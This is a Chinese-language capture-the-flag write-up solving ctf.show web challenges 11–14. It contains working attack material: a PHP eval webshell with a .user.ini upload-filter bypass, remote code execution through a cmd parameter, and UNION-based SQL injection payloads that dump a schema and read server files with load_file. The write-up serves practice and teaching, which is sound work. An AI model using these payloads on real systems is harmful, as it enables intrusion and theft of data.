ctf.show--web--web11~web14

web11

<?php
        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if(strlen($password)!=strlen(replaceSpecialChar($password))){
            die("sql inject error");
        }
        if($password==$_SESSION['password']){
            echo $flag;
        }else{
            echo "error";
        }
    ?>

源码中过滤了很多内容,在第二个条件判断中,将我们输入的密码与 session中保存的密码进行匹配, 两个password相同即可输出flag

使用bp抓包,可以看到password和phpsessid的内容,这里phpsessid的内容匹配session的内容

那就想办法让password和phpsessid匹配即可,这里要么解密phpsessid填入password中,要么干脆一点,让双方的值都为空,空=空,即可匹配

两边值都为空,放行,得到flag 

web12 

where is the flag?嗯。熟悉的味道,F12看一下源代码,在 where is the flag?下看到一句注释,里边有个提示?cmd=

在响应头中可以看到传参方式是Get

那试试远程代码执行,传入参数:

?cmd=phpinfo();

 确实可以执行php函数

php中有个函数glob();

glob()函数返回匹配指定模式的文件名或目录
glob("")匹配任意文件
glob(".txt")匹配以txt后缀的文件

我们可以使用这个方法把当前目录下的文件打印出来

?cmd=print_r(glob("*"));

这里找到了两个文件

 然后使用高亮函数,把那个名字好长的php文件显示一下

?cmd=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');

 得到flag

web13

应该是文件上传,尝试传入一句话木马,发现报错。

尝试源码泄露利用的方法,在输入upload.php.bak时成功下载下来源码。
.bak文件是备份文件。
备注:这里列举一下常见的源码泄露
.hg源码泄漏 .git源码泄漏 .DS_Store文件泄漏,还有以.phps .bak结尾的网页
在web题没有头绪的时候可以尝试可能会有奇效。

<?php 
	header("content-type:text/html;charset=utf-8");
	$filename = $_FILES['file']['name'];
	$temp_name = $_FILES['file']['tmp_name'];
	$size = $_FILES['file']['size'];
	$error = $_FILES['file']['error'];
	$arr = pathinfo($filename);
	$ext_suffix = $arr['extension'];
	if ($size > 24){
		die("error file zise");
	}
	if (strlen($filename)>9){
		die("error file name");
	}
	if(strlen($ext_suffix)>3){
		die("error suffix");
	}
	if(preg_match("/php/i",$ext_suffix)){
		die("error suffix");
    }
    if(preg_match("/php/i"),$filename)){
        die("error file name");
    }
	if (move_uploaded_file($temp_name, './'.$filename)){
		echo "文件上传成功!";
	}else{
		echo "文件上传失败!";
	}

 ?>

文件的大小不能超过24,文件名字长度不能超过9,后缀长度不超过3,并且最要命的是后缀和名字都不能包含php。我们肯定是要上传一句话木马的,既然文件大小不能超过24可以这样写<?php eval($_POST['a']);正好24字节可以满足,但是由于后缀问题服务器无法解析该php语句。这里用一种特殊的手法来绕过。
1.我们先将一句话保存为a.txt。
2.上传a.txt
3上传.user.ini文件。
对于php中的.user.ini有如下解释:
PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。也就是在.user.ini中如果设置了文件名,那么任意一个页面都会将该文件中的内容包含进去。
我们在.user.ini中输入auto_prepend_file =a.txt,这样在该目录下的所有文件都会包含a.txt的内容

.user.ini
auto_prepend_file =a.txt

蚁剑连接

发现看不到文件中的内容,判断可能对文件操作没有权限

 在空白处右键打开终端,ls一下,看到有个名为903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php的文件,cat一下,找到flag

 

web14

<?php
include("secret.php");

if(isset($_GET['c'])){
    $c = intval($_GET['c']);
    sleep($c);
    switch ($c) {
        case 1:
            echo '$url';
            break;
        case 2:
            echo '@A@';
            break;
        case 555555:
            echo $url;
        case 44444:
            echo "@A@";
            break;
        case 3333:
            echo $url;
            break;
        case 222:
            echo '@A@';
            break;
        case 222:
            echo '@A@';
            break;
        case 3333:
            echo $url;
            break;
        case 44444:
            echo '@A@';
        case 555555:
            echo $url;
            break;
        case 3:
            echo '@A@';
        case 6000000:
            echo "$url";
        case 1:
            echo '@A@';
            break;
    }
}

highlight_file(__FILE__);

 分析源码,get传参,变量是c,c的值会进入sleep等待,如果c的值越大,等待时间越长,进入switch语句判断,前面的case中判断完成后都会break退出,只有在case 3的时候,继续到case 6000000 然后echo一个 $url,也就是说我们想看到c=6000000的值,我们只需构造c=3即可,我们构造参数看一下。

访问一下here_1s_your_f1ag.php看一下

 出现一个这样的查询页面,查看一下网站源代码,发现过滤了一些东西,这些和sql注入相关,这里应该是sql注入

 开始爆库吧,得到库名web

?query=-1/**/union/**/select/**/database()

 

爆表名得到表名content

?query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database()


 爆字段名,得到字段名id,username,password

?query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'

 

 爆字段内容,发现没有和flag相关的信息

?query=-1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content

 到这我们发现数据库中并没有我们想要的内容,但是有一条提示tell you a secret,secert has a secret…. 所以很有可能flag在secret.php中,访问一下secret.php

虽然没有内容,但是也没有报错,说明文件确实存在,但是读取的方法不对。

利用数据库的文件读写功能读取文件内容 试试

?query=-1/**/union/**/select/**/load_file('/var/www/html/secret.php')

页面没有反应?bp抓包看看

发现有个'/real_flag_is_here'

修改一下构造的参数

?query=-1/**/union/**/select/**/load_file('/real_flag_is_here')

成功找到flag

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值